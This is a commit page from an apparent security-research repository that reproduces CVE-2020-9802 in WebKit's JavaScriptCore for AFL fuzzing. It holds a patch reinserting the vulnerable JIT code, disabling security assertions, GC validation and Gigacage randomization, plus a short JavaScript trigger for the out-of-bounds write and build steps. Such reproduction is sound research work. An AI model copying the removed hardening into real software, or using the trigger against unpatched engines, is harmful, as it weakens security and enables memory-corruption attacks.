PoC Reproduction in version Safari-614.1.9
This commit is contained in:
139
Safari-614.1.9/PoC/CVE-2020-9802-Safari-614.1.9.patch
Normal file
139
Safari-614.1.9/PoC/CVE-2020-9802-Safari-614.1.9.patch
Normal file
@@ -0,0 +1,139 @@
|
||||
diff --git a/.gitignore b/.gitignore
|
||||
index f1dbddf346c9..1aae9461405e 100644
|
||||
--- a/.gitignore
|
||||
+++ b/.gitignore
|
||||
@@ -5,6 +5,7 @@
|
||||
.DS_Store
|
||||
.directory
|
||||
/WebKitBuild/
|
||||
+/Output*/
|
||||
/test262-results/
|
||||
autoinstall.cache.d
|
||||
project.xcworkspace
|
||||
diff --git a/Source/JavaScriptCore/dfg/DFGClobberize.h b/Source/JavaScriptCore/dfg/DFGClobberize.h
|
||||
index 67b010bc2f21..757f15597bfa 100644
|
||||
--- a/Source/JavaScriptCore/dfg/DFGClobberize.h
|
||||
+++ b/Source/JavaScriptCore/dfg/DFGClobberize.h
|
||||
@@ -283,7 +283,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFu
|
||||
|
||||
case ArithAbs:
|
||||
if (node->child1().useKind() == Int32Use || node->child1().useKind() == DoubleRepUse)
|
||||
- def(PureValue(node, node->arithMode()));
|
||||
+ def(PureValue(node));
|
||||
else
|
||||
clobberTop();
|
||||
return;
|
||||
@@ -299,7 +299,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFu
|
||||
if (node->child1().useKind() == Int32Use
|
||||
|| node->child1().useKind() == DoubleRepUse
|
||||
|| node->child1().useKind() == Int52RepUse)
|
||||
- def(PureValue(node, node->arithMode()));
|
||||
+ def(PureValue(node));
|
||||
else
|
||||
clobberTop();
|
||||
return;
|
||||
diff --git a/Source/JavaScriptCore/runtime/JSCast.h b/Source/JavaScriptCore/runtime/JSCast.h
|
||||
index a6993159099c..1608afc0ff8f 100644
|
||||
--- a/Source/JavaScriptCore/runtime/JSCast.h
|
||||
+++ b/Source/JavaScriptCore/runtime/JSCast.h
|
||||
@@ -33,12 +33,14 @@ template<typename To, typename From>
|
||||
inline To jsCast(From* from)
|
||||
{
|
||||
static_assert(std::is_base_of<JSCell, typename std::remove_pointer<To>::type>::value && std::is_base_of<JSCell, typename std::remove_pointer<From>::type>::value, "JS casting expects that the types you are casting to/from are subclasses of JSCell");
|
||||
+/*
|
||||
#if (ASSERT_ENABLED || ENABLE(SECURITY_ASSERTIONS)) && CPU(X86_64)
|
||||
if (from && !from->JSCell::inherits(from->JSCell::vm(), std::remove_pointer<To>::type::info()))
|
||||
reportZappedCellAndCrash(*from->JSCell::heap(), from);
|
||||
#else
|
||||
ASSERT_WITH_SECURITY_IMPLICATION(!from || from->JSCell::inherits(from->JSCell::vm(), std::remove_pointer<To>::type::info()));
|
||||
#endif
|
||||
+*/
|
||||
return static_cast<To>(from);
|
||||
}
|
||||
|
||||
@@ -46,6 +48,7 @@ template<typename To>
|
||||
inline To jsCast(JSValue from)
|
||||
{
|
||||
static_assert(std::is_base_of<JSCell, typename std::remove_pointer<To>::type>::value, "JS casting expects that the types you are casting to is a subclass of JSCell");
|
||||
+/*
|
||||
#if (ASSERT_ENABLED || ENABLE(SECURITY_ASSERTIONS)) && CPU(X86_64)
|
||||
ASSERT_WITH_SECURITY_IMPLICATION(from.isCell());
|
||||
JSCell* cell = from.asCell();
|
||||
@@ -54,6 +57,7 @@ inline To jsCast(JSValue from)
|
||||
#else
|
||||
ASSERT_WITH_SECURITY_IMPLICATION(from.isCell() && from.asCell()->JSCell::inherits(from.asCell()->vm(), std::remove_pointer<To>::type::info()));
|
||||
#endif
|
||||
+*/
|
||||
return static_cast<To>(from.asCell());
|
||||
}
|
||||
|
||||
@@ -142,7 +146,7 @@ inline bool inheritsJSTypeImpl(VM& vm, From* from, JSTypeRange range)
|
||||
static_assert(std::is_base_of<JSCell, Target>::value && std::is_base_of<JSCell, typename std::remove_pointer<From>::type>::value, "JS casting expects that the types you are casting to/from are subclasses of JSCell");
|
||||
bool canCast = range.contains(from->type());
|
||||
// Do not use inherits<Target>(vm) since inherits<T> depends on this function.
|
||||
- ASSERT_UNUSED(vm, canCast == from->JSCell::inherits(vm, Target::info()));
|
||||
+ // ASSERT_UNUSED(vm, canCast == from->JSCell::inherits(vm, Target::info()));
|
||||
return canCast;
|
||||
}
|
||||
|
||||
diff --git a/Source/JavaScriptCore/runtime/WriteBarrier.h b/Source/JavaScriptCore/runtime/WriteBarrier.h
|
||||
index 383f72d04f1e..e24843e22c64 100644
|
||||
--- a/Source/JavaScriptCore/runtime/WriteBarrier.h
|
||||
+++ b/Source/JavaScriptCore/runtime/WriteBarrier.h
|
||||
@@ -53,6 +53,7 @@ template<> class WriteBarrierBase<JSValue>;
|
||||
JS_EXPORT_PRIVATE void slowValidateCell(JSCell*);
|
||||
JS_EXPORT_PRIVATE void slowValidateCell(JSGlobalObject*);
|
||||
|
||||
+/*
|
||||
#if ENABLE(GC_VALIDATION)
|
||||
template<class T> inline void validateCell(T cell)
|
||||
{
|
||||
@@ -69,10 +70,11 @@ template<> inline void validateCell<JSGlobalObject*>(JSGlobalObject* globalObjec
|
||||
slowValidateCell(globalObject);
|
||||
}
|
||||
#else
|
||||
+*/
|
||||
template<class T> inline void validateCell(T)
|
||||
{
|
||||
}
|
||||
-#endif
|
||||
+//#endif
|
||||
|
||||
// We have a separate base class with no constructors for use in Unions.
|
||||
template <typename T, typename Traits> class WriteBarrierBase {
|
||||
diff --git a/Source/bmalloc/bmalloc/Gigacage.cpp b/Source/bmalloc/bmalloc/Gigacage.cpp
|
||||
index d10214881d9b..b47532b5e3ed 100644
|
||||
--- a/Source/bmalloc/bmalloc/Gigacage.cpp
|
||||
+++ b/Source/bmalloc/bmalloc/Gigacage.cpp
|
||||
@@ -135,6 +135,7 @@ void ensureGigacage()
|
||||
// largest value of n so that n! <= 2^64.
|
||||
static_assert(NumberOfKinds <= 21, "too many kinds");
|
||||
uint64_t random;
|
||||
+ /*
|
||||
cryptoRandom(reinterpret_cast<unsigned char*>(&random), sizeof(random));
|
||||
for (unsigned i = NumberOfKinds; i--;) {
|
||||
unsigned limit = i + 1;
|
||||
@@ -142,7 +143,7 @@ void ensureGigacage()
|
||||
random /= limit;
|
||||
std::swap(shuffledKinds[i], shuffledKinds[j]);
|
||||
}
|
||||
-
|
||||
+ */
|
||||
auto alignTo = [] (Kind kind, size_t totalSize) -> size_t {
|
||||
return roundUpToMultipleOf(alignment(kind), totalSize);
|
||||
};
|
||||
diff --git a/Source/bmalloc/bmalloc/VMAllocate.h b/Source/bmalloc/bmalloc/VMAllocate.h
|
||||
index de8e8b2589f4..1138135fe640 100644
|
||||
--- a/Source/bmalloc/bmalloc/VMAllocate.h
|
||||
+++ b/Source/bmalloc/bmalloc/VMAllocate.h
|
||||
@@ -123,7 +123,9 @@ inline void vmValidatePhysical(void* p, size_t vmSize)
|
||||
inline void* tryVMAllocate(size_t vmSize, VMTag usage = VMTag::Malloc)
|
||||
{
|
||||
vmValidate(vmSize);
|
||||
- void* result = mmap(0, vmSize, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON | BMALLOC_NORESERVE, static_cast<int>(usage), 0);
|
||||
+ static long long mmapPrefix = 1;
|
||||
+ void* result = mmap((void*)(mmapPrefix*0x10000000000ll), vmSize, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON | BMALLOC_NORESERVE, static_cast<int>(usage), 0);
|
||||
+ mmapPrefix++;
|
||||
if (result == MAP_FAILED)
|
||||
return nullptr;
|
||||
return result;
|
||||
15
Safari-614.1.9/PoC/PoC.js
Normal file
15
Safari-614.1.9/PoC/PoC.js
Normal file
@@ -0,0 +1,15 @@
|
||||
function f(arr, n) {
|
||||
n &= 0xffffffff;
|
||||
if (n < -1) {
|
||||
let v = (-n)&0xffffffff;
|
||||
let i = Math.abs(n);
|
||||
if (i < arr.length) {
|
||||
return arr[i] = 1000;
|
||||
}
|
||||
}
|
||||
}
|
||||
let arr= new Array(10);
|
||||
for (let i = 0; i < 50000; i++) {
|
||||
f(arr, -3);
|
||||
}
|
||||
f(arr, -2147483648);
|
||||
30
Safari-614.1.9/PoC/README.md
Normal file
30
Safari-614.1.9/PoC/README.md
Normal file
@@ -0,0 +1,30 @@
|
||||
# Motivation
|
||||
The repository is for solving the following problem encountered in reproducing CVE-2020-9802 in the AFL crash exploring mode of fuzzing process.
|
||||
1. The `jsc` interpreter(Commit ID: `17218d1485b0f5d98d2aad116d4fdb2bad6aee2d`), whose version just before patching CVE-2020-9802, unexpected crash when receiving input don't conform to JavaScript language syntax.
|
||||
2. The heap allocator of JavaScriptCore is probabilistic, which lead to unstable crash in reproducing CVE-2020-9802 in JavaScriptCore. AFL even doesn't accept the PoC as seed as it doesn't produce crash in `perform_dry_run()`.
|
||||
|
||||
# Solution
|
||||
1. JavaScriptCore was updated into the latest compilable version `Safari-614.1.9`. It won't crash when receiving input don't conform to JavaScript language syntax.
|
||||
2. The heap allocator of JavaScriptCore is modified to be deterministic.
|
||||
|
||||
# Reproduction
|
||||
```bash
|
||||
export WEBKIT_PATH="WEBKIT_PATH" # Modify this to your WebKit directory path
|
||||
export AFL_PATH="AFL_PATH" # Modify this to your AFL directory path
|
||||
|
||||
# Git Clone
|
||||
git clone https://github.com/WebKit/WebKit.git
|
||||
|
||||
# Switch version and patch
|
||||
git checkout Safari-614.1.9
|
||||
patch -p1 -i CVE-2020-9802-Safari-614.1.9.patch
|
||||
|
||||
# Static linking of JavaScriptCore
|
||||
# Build for tracing
|
||||
WEBKIT_OUTPUTDIR=$WEBKIT_PATH/OutputTrace/ Tools/Scripts/build-webkit --jsc-only --debug --cmakeargs="-DENABLE_STATIC_JSC=ON -DUSE_THIN_ARCHIVES=OFF"
|
||||
# Build for fuzzing
|
||||
CC=$AFL_PATH/afl-gcc CXX=$AFL_PATH/afl-g++ WEBKIT_OUTPUTDIR=$WEBKIT_PATH/OutputFuzz/ Tools/Scripts/build-webkit --jsc-only --debug --cmakeargs="-DENABLE_STATIC_JSC=ON -DUSE_THIN_ARCHIVES=OFF"
|
||||
|
||||
# Deterministic Reproduction
|
||||
./jsc --useConcurrentJIT=false PoC.js
|
||||
```
|
||||
Reference in New Issue
Block a user